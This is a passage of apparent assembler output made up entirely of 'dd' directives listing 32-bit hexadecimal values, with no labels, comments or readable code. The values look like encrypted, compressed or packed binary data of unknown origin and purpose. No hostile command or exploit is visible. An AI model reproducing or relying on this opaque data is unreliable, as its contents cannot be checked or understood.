0A95DE979h, 3F5A2C5Ch, 1F4C2E08h dd 0C70654C1h, 45497205h, 74378260h, 0DED58802h, 0D8BE3A21h dd 0E4205016h, 3002F5C1h, 0B1685BDAh, 0D37D4612h, 0B78B0B34h dd 0C5021AABh, 9DC003C4h, 0FC826721h, 0ED3E89B6h, 7669E932h dd 2D722463h, 28AFEF09h, 908A7DB5h, 8F824B3Fh, 0F975D121h dd 96681FB4h, 8A38AF1Fh, 0E85B4FDEh, 8010F4C0h, 602F27E0h dd 13ABBD98h, 0EF5BAC45h, 53EFD1C0h, 28762A09h, 8C750B0h dd 841D9B5Eh, 0BBA1C2E9h, 528564A8h, 0F9F1AFBAh, 32CAC6Eh dd 666CB8C6h, 0E99A0B4Eh, 0B9103EAFh, 0F582C8A4h, 56B5B0D0h dd 98057B95h, 6C63DC5h, 5D1C9018h, 0C090361h, 845AAA05h dd 81BE50FFh, 0A2ABBD38h, 12ECA38Dh, 480CBE9h, 0F72B151h dd 0C03AC980h, 688AC092h, 1B31440h, 9DE09C1Fh, 0B787B7E9h dd 0F58BA622h, 90758862h, 818502CDh, 0A0C83F88h, 415E4E89h dd 1203B760h, 7B57B29h, 0B0C0806h, 2276601Fh, 0B52F83D2h dd 0A8FFF137h, 251CBE8Eh, 276FBC5Fh, 0CC042BE9h, 9228B256h dd 4B1A62EFh, 0C5813874h, 593E3B47h, 0DF25F428h, 0D6A7CC2h dd 42EE53DDh, 0EB781BE9h, 3FCEB905h, 27AC6C27h, 24DECA4h dd 1718417Eh, 0F9E0805Bh, 17631056h, 27873FE9h, 0F24FE027h dd 0E84C8365h, 737C2596h, 0A9040897h, 5DF94F16h, 0D26C7E1Dh dd 14F094Ch, 85B9F3D6h, 0B1E96F35h, 84EF82D5h, 0C3CBE809h dd 0E9F6B951h, 0AF3B48A6h, 53263900h, 0F02579C3h, 6360012Fh dd 0C5503B0Dh, 2AE8FF46h, 2175FBA8h, 62A8585Ah, 51495A3Eh dd 7327CE01h, 30462693h, 50073FE3h, 11E90C78h, 64317FF9h dd 0ADCCCE82h, 0D772E425h, 0BB72EA16h, 47454A13h, 0C1506AE0h dd 0F65608B8h, 15EF6048h, 0D73CB66Eh, 0F78134B2h, 6865E9D6h dd 0D4BE004Eh, 8157B03Dh, 38A800F6h, 0F0295A6Ah, 35BE62E9h dd 64D3040Bh, 0B46E90FEh, 0C75D2525h, 645525D9h, 2F52416Dh dd 47685E05h, 0BBB544EBh, 20410E86h, 1E7DBF57h, 816B0E14h dd 9DFC93CFh, 0C0F7814Bh, 8322B209h, 0A2346118h, 0A0C0B36h dd 5000AD4Fh, 1340D6C7h, 78304D61h, 576A2B33h, 0BEAE8481h dd 52324F12h, 6E895D72h, 626879DFh, 14F70868h, 69144231h dd 0DE44FF1Fh, 0D9685200h, 0E9419866h, 0E3EB5BE8h, 24E94A9Ch dd 0A8251917h, 0ED85E14Fh, 386B366Ah, 0FFA754CBh, 0DEE3041Bh dd 0E743F2F2h, 7B7BE4E5h, 58475062h, 0E72F308h, 0AB166A91h dd 0E909D39Ah, 562D195Eh, 0A4BC2E64h, 6E33754Ch, 0F0B1464Eh dd 0FE0C818Eh, 0C1C580CDh, 0FA6BF5CCh, 16329EA1h, 6B12EE29h dd 8230F6AEh, 79052B68h, 0CDE9E264h, 16F48C6Ah, 44945725h dd 68054DBCh, 99AC528Ch, 0ED2A8BC4h, 0A7D618B2h, 3D432D47h dd 0E4CF7C78h, 106101DCh, 19126829h, 985F9230h, 3F1F0031h dd 3540419Ch, 3801470Ah, 90092D69h, 1D64C2E1h, 5FFD2E89h dd 29800288h, 0DAFD366Ch, 6A600FAFh, 0DA8F6277h, 0C108E81Eh dd 0E828B31Ch, 7718AF5Ch, 0A2713209h, 0A072C62h, 756E0163h dd 0F15018EAh, 73276C78h, 35034309h, 0DFD8474h, 487CAC92h dd 825998B5h, 5E44E0F4h, 0DC1855F8h, 58686241h, 43D81B4Bh dd 1D9855h, 452D7CC3h, 0E9F799BDh, 8EBC904Fh, 46A2680Bh dd 9F6AB455h, 0FF7242F6h, 0AA826951h, 5D320807h, 0DF2AAE8h dd 19432C02h, 0D527E5E9h, 449089CEh, 4268F00Bh, 10E35775h dd 0A0E0387Bh, 0D99D787Eh, 0D4D42F6Ah, 70A16858h, 1C77955Bh dd 0B204A1E5h, 4C33413Fh, 7F4E853Ch, 816E794h, 36D539CDh dd 0E9750502h, 26EC5625h, 9FDC96E7h, 0BA052095h, 10394A18h dd 38C2EBE0h, 1D845A74h, 0A96512E9h, 5EAB0997h, 5FE0ABB0h dd 82E0483h, 0EB873798h, 8D5F736h, 52890CA0h, 1A0C6E45h dd 8C31513Eh, 0E32C49E9h, 9A5DEEFEh, 0E1594F58h, 3AB646Eh dd 0C0C8935Bh, 7D71BD51h, 5A320562h, 56EEC5D2h, 40AA3954h dd 0BF31C292h, 1AE92F18h, 53DE68CBh, 0B21FB50Ah, 0BD2C84Fh dd 1E0A5627h, 0CEAC4951h dd 3F450E5Ch, 2D7CD6ECh, 0FCDE05B3h, 0B52D5CE0h, 54722508h dd 782F878h, 30C15580h, 0DA943C58h, 86E18100h, 0F07E341Fh dd 0EC1841D4h, 214C13EDh, 220C67A2h, 7F60C9F2h, 16429860h dd 0BF766EBDh, 6F2AD37Ah, 0D19F6712h, 0EA9EBC0Bh, 845AECE9h dd 0EFF02858h, 0EDD751CBh, 8C998432h, 54E1F6CDh, 0C174EAE6h dd 0CB4BF4Ch, 0F244C242h, 4461FC55h, 2AEFA51Dh, 2E0521E8h dd 6DEB36h, 0BE629CCFh, 0C1174069h, 81EB05E8h, 3E1DD3E1h dd 0A86BF9CDh, 75F65A3Bh, 0A2494858h, 9A00CC5Fh, 2D94413h dd 0C32A81AEh, 4613A6A0h, 64C4512Dh, 0DCE0FEC3h, 9F7FEA68h dd 6E414918h, 8F80B84Eh, 4ED5646Fh, 8C8CB173h, 0BDFF707h dd 98BA0252h, 0D142EF26h, 0ECBD5360h, 593C2000h, 4ECBCD81h dd 0E10D5EB7h, 88F4F7B9h, 5F4AFA7Fh, 6E0E48AAh, 5AB7C620h dd 0AF5B5A93h, 50CA7C09h, 0AF5C4BFCh, 7D46FD62h, 0EF75060Bh dd 0B7532FF2h, 2FCE5C27h, 8170EE76h, 46D995EFh, 5B6C053Bh dd 5EC40DC5h, 2D589AFDh, 0E794EA20h, 0D2085317h, 0CD702FE0h dd 896E59BDh, 2E162948h, 1EA06120h, 15C8215Eh, 0CA5A81B5h dd 0CA680999h, 0C0761A33h, 2C280BC1h, 1A407BF3h, 0A92B0D0Fh dd 6F17C2D7h, 2AF62CEFh, 2F51B797h, 48EA8085h, 668002AFh dd 9760A868h, 0C69F27B7h, 981A2024h, 0BBA50FCh, 3958710Ch dd 9ACC2E40h, 0BDB96952h, 60172054h, 9A207664h, 0EE5890BBh dd 0F7E91226h, 0B6A061C1h, 103339F9h, 5E2AC2A3h, 736818EFh dd 9E035D47h, 1209BF80h, 1354237Eh, 31E2A14Bh, 4F403061h dd 0C7ECA09Dh, 4CA28549h, 5F3FC635h, 4D1A94Ah, 1FCB3E4Dh dd 0A9C23080h, 0C4984F42h, 0DBBFE9E9h, 76AE02Eh, 0D0F3FC6Dh dd 1C600832h, 698458F0h, 20FB5E7Fh, 7C172A87h, 4700282Eh dd 333C0DC1h, 0E9EB1729h, 4D724E52h, 0FF3B86C4h, 0CF583140h dd 0B63156C6h, 4FF309FFh, 0FE161977h, 0FE5204E6h, 880E5CB2h dd 0F073407Fh, 554AE98Eh, 0FAB71717h, 10FEA65Ah, 8F419FA1h dd 7B1CAC6Eh, 7F86D75Bh, 5C60BC0h, 0ADDE498Bh, 7FF0209Ch dd 4FFEA1B6h, 8FD6BAC6h, 888A7720h, 4C627068h, 0D91F6469h dd 48F201ECh, 6A5B2024h, 680B399Bh, 0B4FD56EFh, 0BAE92647h dd 2069A5C3h, 3B2C650Ah, 0CA358D87h, 0BE9DE60h, 410ABCC0h dd 9E312768h, 3B600D4Bh, 3095DDF6h, 0D0489925h, 3E56A94Fh dd 1E6F925Dh, 14786754h, 819F549Dh, 0BBC5626h, 3A0920h dd 2970346Fh, 491FE9FBh, 776F12B7h, 683E41ECh, 8B856EBFh dd 0E76F6850h, 61F9BCB3h, 2831D868h, 0B818C6A5h, 0A0BD1E20h dd 13B850Eh, 1619B9EBh, 8042E157h, 0D5634968h, 0F22DB06Ch dd 25D89497h, 9A660ABFh, 8876FEBFh, 2E283280h, 0DEB74E90h dd 0FA5A120Bh, 0AB124A65h, 76E93930h, 6F759444h, 0B550B829h dd 723E5EBDh, 6AF1AE41h, 7362A68Dh, 4086B840h, 8500B919h dd 810E1A07h, 2D315DC9h, 0DFD2625Fh, 0AC3C78DEh, 30004F78h dd 31B5DD2Eh, 5C1998D1h, 0F803D3Bh, 5F064D7Ah, 59B744AEh dd 48DBA0C0h, 0CA203755h, 0ED99CAA0h, 4CE2B0ABh, 4B7C6A78h dd 0F11A1C2Dh, 90EBBFACh, 106F4277h, 0D637C0B5h, 0D671E5Dh dd 497CD35h, 0BBC0FAAEh, 70E2685Dh, 1C779761h, 0A322BDD8h dd 1DF43DEBh, 0E20C57AFh, 4102B20Ch, 0CEE96819h, 0FC13D733h dd 81A19BC1h, 7388EF71h, 98ED45DFh, 0BFA0127Ah, 0C1D21DA2h dd 2E1F7054h, 5FDE7069h, 67EAFD5Ch, 5FFA4609h, 744963F1h dd 0B80B17BBh, 202212B3h, 429660FEh, 47764941h, 9240F305h dd 5AE67A4h, 98FCBC1Bh, 8655719h, 0FB10E099h, 1CB41398h dd 2C2E7B0h, 0E9403549h, 87003B7Ah, 0DED1F7CEh, 5B9FC908h dd 2B7B75h, 430A6853h, 0D3FF169Eh, 2A118479h, 7138516Eh dd 0DCAAADC1h, 0A4443A0h, 9AB81603h, 0D1A9947Bh, 0B32B33BBh dd 366D1328h, 975329FBh, 45BAC30Eh, 0BF56E9ECh, 34AEB585h dd 80DBA2ACh, 7BF26857h, 0E9490BD9h, 97723D05h, 259EC950h dd 104258h, 1D150FC8h, 9D1909E9h, 7FB26B27h, 76104498h dd 0F1BC6BE1h, 0A9F6FFA4h, 4B780725h, 0D64DB812h, 78E1C200h dd 77289816h, 5686C241h, 6BF422CEh, 0F78A0A05h, 0B2B609EBh dd 5D947450h, 55E755Ah, 0AED329E9h, 0EAB81293h, 664E88F5h dd 26681140h, 0C32A1A3Ah, 101E16DEh, 1056486h, 612D4F6h dd 2F59E546h, 74C1243Dh, 57F6979h, 6BFCE653h, 0D49F01A4h dd 420F6503h, 91C3088Bh, 369881C3h, 1A90407Dh, 53964F8h dd 0F2C05F20h, 0B504DFDDh, 0EA707C5Ah, 0B07EE495h, 5804E3AFh dd 3C5D32B3h, 0E8A01F7Ch, 0D35B289Ch, 56DF33C0h, 0BC6A5A2Dh dd 910616B5h, 0D688F39Dh, 0BE009401h, 683553B0h, 23F60381h dd 4E52D622h, 626DE6B8h, 3E79DC26h, 73302F06h, 2594ECC4h dd 6476B0CDh, 5DE68269h, 506DE032h, 2FE91257h, 7797B982h dd 1A82264Ah, 0C6C0E04Fh, 1EFC2D0Ch, 5305F4A0h, 68164901h dd 91CC0AA8h, 0F47A2E31h, 5EFA173Ch, 0E2C857EDh, 2B548462h dd 3D9B6803h, 0BAD01515h, 0A879C199h, 0A02E1B30h, 8D4EE924h dd 0E229C00Bh, 0CC907F88h, 0C8BD62A4h, 0CF2CEB45h, 0F0A05B0Ch dd 7CF5355Eh, 0E22DDB28h, 34413D08h, 0CBE124Eh, 51858D4h dd 4221350Fh, 0D1C9A01h, 14171C08h, 0E72720EAh, 2EE905E3h dd 0ACDA2107h, 823B3812h, 0CC721A68h, 7C6B20FCh, 72BB544Eh dd 0BEC6501Bh, 206A1B25h, 14305429h, 0F0F09D21h, 74BE8FCh dd 0E2E7D7ECh, 967A7D38h, 5384942Dh, 0CB298901h, 62D459D7h dd 1B522E53h, 0F53DA201h, 0DA70BB2Ch, 9531D030h, 0FF6B80F9h dd 266B5C0Fh, 0D452BC76h, 171227FBh, 653B0BDDh, 30780B2h dd 2DE96D33h, 27DC2EE3h, 39051D66h, 0F8010E5Ah, 380E2DEDh dd 8414D92Bh, 0D8222DF3h, 8041235Eh, 0E1CC0FC1h, 9582F610h dd 12BF85EEh, 655C55C1h, 0C810FB00h, 0BAA1E946h, 0C7891217h dd 831358h, 59AFE764h, 560021DEh, 3A4237BEh, 30F73163h dd 0BE9D5E9h, 85180FDBh, 50109AB0h, 82204D68h, 0C2290993h dd 0CF2040E4h, 82BD0416h, 0AB75394Eh, 9860D9A2h, 47902C7Ch dd 972378B5h, 0D2201A96h, 0EEB0F253h, 64E14EC7h, 0F2B4D1ADh dd 0C61E0430h, 48D0F7C7h, 3502E060h, 538E00D8h, 0E9C629B2h dd 0D59724DBh, 2E2E3619h, 0BCE3BF12h, 0F8C9E9C3h, 0F7F23507h dd 5B4E31D6h, 3ACCF909h, 0A0101466h, 8F91D25Ch, 8005E4FFh dd 0D6AEA60h, 15A800Dh, 806F0FAh, 81F040Ch, 0C2534B43h dd 0A25D4806h, 0DD3109D1h, 698BA7C0h, 1F99449Ch, 0E03FF759h dd 270FB651h, 2091452h, 40EAC15Bh, 51FE24Eh, 0E92C1D75h dd 5AA9F0B7h, 0F7E75F4Bh, 21708951h, 7D370CBAh, 6444EE5h dd 4260E998h, 3BF28166h, 30603057h, 7C87E961h, 2CB45D97h dd 0C9ADE918h, 2FACB522h, 64F6EF30h, 8BFB989Ch, 45F828D6h dd 0E8D03D08h, 69E92713h, 2E53AFC1h, 95A0B5E8h, 5E50CF60h dd 0A00BF2A1h, 7C0ADA43h, 0DBF70B94h, 23396180h, 71905415h dd 0EC51431Dh, 25A15254h, 4BA511Bh, 9011B56Bh, 2DD8F71Eh dd 7E68D701h, 2F04E97Dh, 9D88F534h, 19B14A98h, 0E9D1F605h dd 0C8FFA7E6h, 559C4BFFh, 5209450Eh, 0A8F37801h, 0B538B752h dd 0A8468A24h, 4D730FDAh, 80F24F26h, 727CC75Fh, 4584A24h dd 0A05FDB09h, 4E94689Bh, 15554D49h, 3F0CB896h, 0B6B193EFh dd 0CAC11400h, 0E2019355h, 837FB8F9h, 0ABC8AA08h, 4D0A00F2h dd 0FD18661Fh, 4E30AE75h dd 0D9059DA0h, 2D3CB943h, 0F3E0005Bh, 1057BACAh, 0B0D90175h dd 0B602E983h, 14B84455h, 0AD541854h, 7FB753EDh, 0D0564AF5h dd 942BC4F1h, 3790644Eh, 616217A2h, 7595B640h, 0BA9FB24h dd 56C51003h, 994F0B18h, 0EC89E801h, 0DA1AA55Fh, 1C30EF00h dd 48C14D70h, 0CE007FEEh, 218464F3h, 0C9B765E9h, 79DCE569h dd 5364BD46h, 0B0886424h, 0FEFA9239h, 0D12F81FAh, 429683E1h dd 166837Bh, 0BEB3B80Ch, 7B5E5156h, 75874B21h, 0A166AB07h dd 9D945161h, 89C80F17h, 495E30F1h, 13B6C9DCh, 0D2C78C4Fh dd 75FD3282h, 0D5129B79h, 685A3DC0h, 0A14CBF5Ch, 0D4342827h dd 48D7E91Eh, 9D405044h, 54577A1Ah, 74E9D847h, 6634364Ah dd 5F525CE0h, 0AA38566Ch, 0D4298CC2h, 4810096Fh, 0B04BAEF2h dd 9D756BFDh, 73AD6559h, 33E98BD1h, 3C9873E8h, 89460C0Bh dd 0FF85FDD6h, 8F33EF4Fh, 0C8CA4A80h, 0E65E88D1h, 0E5C57B33h dd 6ED699BBh, 13158A80h, 0A0099E56h, 0EE91808h, 0E5BF30B9h dd 0D363E1Eh, 104B4A8Bh, 2A08AD45h, 0F2FA8891h, 21E409C9h dd 0A7FC7161h, 41D87BCh, 0DC8318C0h, 0F23B014Fh, 688B38DBh dd 82CABC09h, 0C93D15F6h, 0DC80801Bh, 2725C74Dh, 9E89F4E9h dd 68F72B09h, 4D286815h, 0A910925Fh, 0FF593D4Ah, 0CF262F5Ch dd 16133E52h, 51AD3A60h, 0B2A924B5h, 59EA050Eh, 4F2DA628h dd 3049B180h, 615782FAh, 0C212D01Bh, 7EAC000h, 3BB33B53h dd 0E3E2EB31h, 29E74302h, 209C0616h, 0AE1847F8h, 3B74B5C8h dd 61C9CCB7h, 0B1830698h, 88F9C122h, 27FBA830h, 0D202CB5Dh dd 306A4813h, 515235D8h, 0BFCFA056h, 5C073603h, 44FA2925h dd 7E81ED2Ah, 0B0781DEBh, 3C78182h, 7F40AE4Fh, 813C2D4h dd 0FAE004AEh, 0C1410FB2h, 6A08F2E1h, 9C13C70h, 32934D7Dh dd 4095E000h, 895F1EDCh, 725068E9h, 8F67129Eh, 8E03E966h dd 833E899Fh, 2B1070Ch, 4099BB5Ch, 527D4446h, 87211695h dd 5736217Ah, 31D7F08Ch, 0E3E9DA0Bh, 20B29D1h, 4A488E57h dd 20E172F3h, 0EAC1A08Fh, 64B142DEh, 41295A20h, 0F83FD471h dd 2D5F4998h, 0FF4963F9h, 0F519A897h, 4F4992EFh, 5374A1FDh dd 0DBC07168h, 67E92D11h, 8F66E040h, 670CE0CCh, 1E460AB9h dd 19C628Bh, 0F9341CA2h, 1B916049h, 714CE2E2h, 46DA076Ah dd 0C1323EA0h, 0F69240E6h, 243718B8h, 6D5F0C1Eh, 508A1127h dd 0ADD2C4A8h, 6A091363h, 68682277h, 68125CBBh, 0D6400C5h dd 0EBC144DBh, 0D0D10239h, 0A102C5ABh, 0DEE9091Dh, 28D8D14Dh dd 0F9144EBEh, 215B81ACh, 186B5635h, 0F44D109Eh, 0D0317A17h dd 0B35827F8h, 0E96A2D04h, 0F9D1E4E5h, 9CB3664Dh, 0E25BB290h dd 0CC13241Fh, 0DDED8189h, 4E84E829h, 0C68005AEh, 8B36B181h dd 33B12D00h, 35186C01h, 0AD78C04Bh, 0B8C6C16Bh, 0C7FF8815h dd 2C123D1Eh, 2060F5E2h, 143E06ABh, 2AB3192Eh, 0BDDCE3EFh dd 0E55DC23Eh, 5DD6F09h, 0DC0D52Ch, 0BC28106h, 5B200250h dd 73E2D790h, 0AD252428h, 0B9C0E41Fh, 4D092992h, 11F4A74h dd 0E235589Ch, 974AD1C0h, 0EA12BDFEh, 5FADD85Fh, 1C4BD414h dd 0AE7556EFh, 895DCD42h, 7AF6D0F7h, 6EE82697h, 0AADC27C6h dd 8DDDCADh, 5627A749h, 0A684CF60h, 5E86141Fh, 0FE4453ADh dd 13F42F67h, 89347FD3h, 41BCFDD5h, 4F70A6D6h, 0EA4A12FAh dd 78518AF5h, 0EA6D45A4h, 497BF4Bh, 5F01C9CFh, 498C9EFBh dd 30780B0Bh, 0F321FEF6h, 4E4CC42Dh, 4483074Dh, 0F760375Ah dd 9FF252E4h, 12F31A01h, 1805FBB2h, 4F595441h, 0A960FF82h dd 3A2457ADh, 62CAAC7h, 3B651231h, 0F300EE13h, 534727D2h dd 29596D1h, 0CD8F9C64h, 581738F6h, 0F7D262BBh, 87513E56h dd 0A39AE83Eh, 5ED53B0Eh, 0A788CB25h, 9840BC8h, 51047CC6h dd 0CF8811B1h, 9CFCF0C2h, 0AC3258E2h, 0EE3EF783h, 8952EC0Eh dd 2D8257FAh, 637F4A75h, 0F67CF951h, 0AA5D566Bh, 1F56F161h dd 0C0DF2902h, 5C08684Bh, 9C19E4DCh, 0FBED65D3h, 6E25C8F9h dd 5D16F1EDh, 0F42EBE51h, 6CD9840h, 0BD6FBF6Ah, 0E92D0BC9h dd 0A256E215h, 88F57F15h, 8D3CF38Fh, 902A344Ch, 74B4AD6Bh dd 0C1913860h, 7B56C503h, 17BE4DC3h, 0C468AC05h, 0B7E98C60h dd 80D7F6C1h, 0B96EDE7h, 951009F7h, 76BF69D0h, 0CE1439Eh dd 8BC7C53Ah, 0F87AF526h, 969924E5h, 0E0ED0005h, 292FF02Dh dd 0C551FD7Eh, 0F7E86E08h, 5017DCB1h, 52B568ECh, 0E4744DAAh dd 0E67F0400h, 4172E967h, 0CDBD3F07h, 0B9CA179Eh, 0E2F78B1Eh dd 0F35B5592h, 4620550Bh, 822EFA16h, 7E7B2D57h, 93A4B06Fh dd 88FFC64Ah, 0F45B74F7h, 0A54F8DCEh, 3930ED62h, 57C225ACh dd 82F7FCE2h, 702C1FCh, 0E11E6442h, 89F62EE2h, 9325E9C4h dd 69B2687Dh, 21621FF6h, 0A97809A4h, 0F845BF12h, 0AEDF85EAh dd 0E6BA0152h, 127FD01Ch, 0B2BECB6Ah, 27FCD387h, 0CDF5B1h dd 0B80D5F6h, 0E83016EDh, 0C3E58B74h, 106473F3h, 0FCFDBE50h dd 0A38DA04Eh, 9E477140h, 9A38BAFBh, 0EA960F97h, 0BBEA7181h dd 43C5FD6Ch, 90DEBC0Eh, 13B20C8h, 55597FBEh, 32F30142h dd 9DE9C732h, 0D45329EBh, 0D605A5F9h, 1DB9F8FBh, 0D9F95756h dd 0A2492C20h, 63F29A17h, 0B20842D3h, 0DEC3889Fh, 53223629h dd 3B3C6D0Ch, 120AFAC7h, 0AC291FE5h, 5A084076h, 0D9212AE3h dd 0EF042D13h, 9ED58A0h, 9C1A6EE2h, 19122300h, 0BFA12F18h dd 0C65B812Ah, 2E9F7320h, 4158AC2Ah, 60276108h, 0A8C522D6h dd 0A408F1B1h, 0DD010B1Bh, 42ED3681h, 0CDC2C75Bh, 0CBE07C5Dh dd 273F9ED5h, 255ED4E9h, 70BFDC27h, 54650AE9h, 0DF0AFD67h dd 8889CFDEh, 1431D8E6h, 0E41C045Ah, 0E5A02C25h, 737B7597h dd 8D936CC2h, 82CC62B3h, 0FDC62965h, 0D09F7414h, 98B52E9Fh dd 0F85F6515h, 8D2E3F09h, 80E96B50h, 0DEBB2083h, 0C0171B4Fh dd 0F259268h, 669C50EEh, 0DE04BE5Fh, 28EB08F8h, 4A5B6822h dd 503AE4Fh, 0D8AD7007h, 5D2A138Ch, 2A4674B5h, 2C557EECh dd 0C0593E48h, 0EA629A68h, 11201D90h, 0A73A9575h, 0F371158Bh dd 43E6F40Dh, 941F47D8h, 0A2F54BD7h, 0F2BB46Bh, 0E794BB7Dh dd 62812B6Fh, 7D7C6347h, 86C30352h, 11E2528h, 0A7A5ED0Ch dd 7ED82143h, 0BEB4F5A2h, 6812E2E9h, 735DF4E6h, 975EA440h dd 0BD9F96F7h, 20425654h, 0BD5FC0F2h, 41771646h, 7010004Bh dd 9EF28E8h, 0E940D4C1h, 496FF8AFh, 0FD844E65h, 0BD680233h dd 79B05624h, 4BBB415Fh, 731224Fh, 37465E74h, 76D55DB3h dd 4314B53h, 0E3CC882Fh, 0BD803953h, 0E9E78537h, 9DAE2386h dd 7043EEEDh, 9FBB3A4Ah, 0B850019Dh, 4A656B72h, 7CE0802Eh dd 291E4742h, 76D2E9C8h, 0F4EEB090h, 78D12F4Ch, 1795F7C3h dd 0B1F5E808h, 3B8B80A7h, 0C6767568h, 56505560h, 9A6C70E9h dd 57451F8Dh, 664E9818h, 5B301989h, 3DB70C0Fh, 0CFC48BDh dd 0BE27E93Fh, 2EC520C9h, 0DF09FB5Fh, 44595792h, 62746850h dd 3872A173h, 886EE556h, 2A62271Eh, 0F4BEBF02h, 0BEE510Bh dd 54FC499Ah, 0EDD04CBh, 59F0BE12h, 0AE17BEA6h, 58555A25h dd 266002BFh, 7C0115C9h, 206CF15Dh, 0BE5F480Ch, 4CB4881Ah dd 84934E59h, 0FBB412EEh, 0E05E008Ah, 9A40A26Ch, 3F16B55Dh dd 31D2CE4Ah, 94587DEAh, 48A35D5Ah, 68C90B18h, 66BD6408h dd 0E42C20AAh, 1B68AD16h, 4AD981E4h, 15EAB315h, 4EFC7B45h dd 0D72F8AAFh, 0F9EEAE34h, 606524B7h, 0BA6DA727h, 0BC0B60FAh dd 279CFF18h, 68EC8A9Fh dd 0F1F1303h, 43F1B825h, 25BDB894h, 94F058C3h, 6804FC9Bh dd 1EB22C1Dh, 0EF64AF5Ah, 25E977E0h, 34762891h, 52B8614Eh dd 0E17B122Ah, 86129CD7h, 0E13D460Fh, 250DE6E7h, 1CFC6F71h dd 0FD2913A9h, 0F255E031h, 0A401C280h, 0FBEA268Ah, 18201931h dd 5C842ADEh, 2E68B1EFh, 173097B5h, 0CCB84A5Dh, 67E8F592h dd 0CA9A83B8h, 0CD0354F0h, 16E99279h, 592C2949h, 0F83009B5h dd 761E167Dh, 2CD760E9h, 0EC59A2B9h, 38D10E4Ch, 38EB4F2Eh dd 0C8B7218Ch, 0B95456C3h, 0F33CC267h, 0FEB5FFE4h, 5E590926h dd 0E9B4B8F7h, 2BE26140h, 0CD3994F2h, 0EC07F3Dh, 25842908h dd 0D58831DEh, 3E785034h, 12F56880h, 41D5631h, 1D3BEC9Dh dd 8FE4C089h, 0B2FC3799h, 0B6520107h, 8E6C2B0h, 91BF4157h dd 59D9EED5h, 762E16B7h, 0D70C0650h, 0A10A0CE9h, 0EFFC09C7h dd 0CE85FD7Fh, 41B0470Fh, 80908353h, 0EDF72707h, 89D25243h dd 49C451FBh, 7EFA71E0h, 0CFAEC182h, 0ABE4132Fh, 38253D2Bh dd 8CA0DAAh, 0BE0732A8h, 446751A6h, 0C64716AEh, 6B75B0B1h dd 3263AF54h, 7F560DA1h, 1C596AF9h, 9DF3BAA0h, 0EC5EF4ACh dd 548F6880h, 641DC279h, 87950A38h, 71C43F44h, 0C1C2EC07h dd 351917E2h, 98406C68h, 52A95A2Ah, 16A80B00h, 0A48EBF89h dd 3C220DB7h, 3A7CFD67h, 0E982F7F2h, 0CB92D0F2h, 4FC6CB7Fh dd 3ED2F90Ch, 21E90929h, 2DDA68A3h, 0CCD39778h, 0C956E986h dd 13120F6Bh, 5B4927F5h, 18BD55D0h, 0B3736838h, 2C762DA4h dd 5C350425h, 0D2D9F3AEh, 75A1ED2h, 0C58090B5h, 0ED3EC09Fh dd 0EBCDBC08h, 0DC425D1Ah, 314FE457h, 2C1AAB77h, 2EE5DD1Dh dd 7D2D2A0Bh, 61D15163h, 9148B9Bh, 0ECC216C5h, 1D6C09E5h dd 8B80429Eh, 6BF3B52h, 0B9025F9Dh, 88E83634h, 68075651h dd 4DC2527Ch, 0A47FDE8Bh, 43C60155h, 0D87E5B1Fh, 0CC16C4F6h dd 0E00F3098h, 4870B01Ah, 0BC4B9ECBh, 80EC0779h, 630E5EC3h dd 4CD981E9h, 0B904A924h, 0BFDE3EB2h, 5EC25A09h, 0E768500Fh dd 0ACBC705Fh, 9C7E71C0h, 0C12C5B40h, 0CB0194EBh, 0C35213Fh dd 0BC0AE0DAh, 717C7417h, 1C7F9736h, 0F0682D33h, 0FC0989DBh dd 2A59225h, 5E34ABC3h, 13A2A68Ah, 646B84F0h, 71B7FBECh dd 6DD668C2h, 45CF74D4h, 8BBB1753h, 0D0E9098Ch, 0C309A439h dd 0AA6E95FEh, 48766405h, 0F04BEDF2h, 0EC2DD612h, 4C90D7FEh dd 539F7801h, 497BADE1h, 689CD52Fh, 5DF07824h, 2CEE5092h dd 77403137h, 0F0202B9h, 0C1013CA8h, 956D1B40h, 943FBB81h dd 2A06FAD3h, 0F3301A0h, 13F6752Ah, 0A342B449h, 0F873A905h dd 53580768h, 0DC25EB88h, 0A44806EEh, 96EC8DCCh, 0D60CAFFFh dd 7CE762AFh, 9FB19477h, 0BA7B4AF6h, 0F45E04B6h, 2D41E052h dd 5456EB60h, 98D98E15h, 82455ABEh, 607521A1h, 17BAE3F6h dd 871FB631h, 0E363FA5h, 1400F3B6h, 0D9894080h, 0CA9AE93Ch dd 9C0CB128h, 0B8ED0997h, 5AB494FFh, 5E5A88B2h, 7B5AE5EEh dd 0A7FEF684h, 0FB34E74h, 852FE909h, 0F2620974h, 0A9B0774Fh dd 990BBE56h, 0D818FF11h, 107D3DFh, 8E673BB8h, 6B66A403h dd 83150E0Bh, 0D214ED4Eh, 0F1256148h, 9A77CEA5h, 3E4D77FDh dd 0CEBF5E2Fh, 363EEBEDh, 5AD112EDh, 0FBD397ECh, 8DEFA413h dd 3F9249F9h, 2DBF6744h, 2F93CD40h, 6E906FC1h, 4E2EFA02h dd 0F4F4E90Bh, 0ABD62FD0h, 49F36850h, 69846275h, 9BBD01F0h dd 5A700B39h, 8389B7DCh, 0D1BCDFC8h, 0B8D6F780h, 251C4AF3h dd 1B2BF66h, 4B12594Ch, 0A7E0FCC0h, 0A2FD44C5h, 9676BB4Eh dd 0BC68134Bh, 0F1406106h, 2E31034h, 0B59DF252h, 94DFE50Bh dd 0B6681405h, 9851F50h, 5931BB1Fh, 5C575C7Ch, 9147C735h dd 7F922D93h, 0EC165729h, 0C153F497h, 6E710E68h, 7330B0D9h dd 5DB64FD2h, 14BFC9Ah, 95E5870h, 803C63C2h, 26D37AF2h dd 22789D46h, 36853CA0h, 0D5AEF662h, 0E96675A7h, 0D7F1F728h dd 0DFE41AAh, 41924E07h, 5EFC8FB2h, 188989BCh, 0B2F5DFC0h dd 49087818h, 4BE390Ch, 0CBE9BB3Eh, 9E55ECA8h, 73E55009h dd 97123D79h, 8988FB20h, 7E2B7E7h, 7200DC77h, 60C55C7Dh dd 57726853h, 1788C6BDh, 0FD31C9E9h, 0B2954F74h, 82C8F1BEh dd 0A13A3D0Ch, 74F8F505h, 0FC020882h, 0BF00261Eh, 3BC46B2Eh dd 723EB871h, 0DEC075AFh, 71BFA7E8h, 5BD8420Bh, 80EE5BFDh dd 47356857h, 5F01774Fh, 1086CF81h, 3E833155h, 19185B48h dd 82929403h, 9829B7DFh, 928B03E9h, 8E5B4FACh, 79B7CEEh dd 9EC9D549h, 312EC723h, 7E252BF2h, 0F480492Ch, 0F67B89C2h dd 0CA0929FEh, 5FD5ACE9h, 5D97251Ch, 9EF4F05h, 0DB755FCBh dd 205C8983h, 0CA4AD6E9h, 9E97A09h, 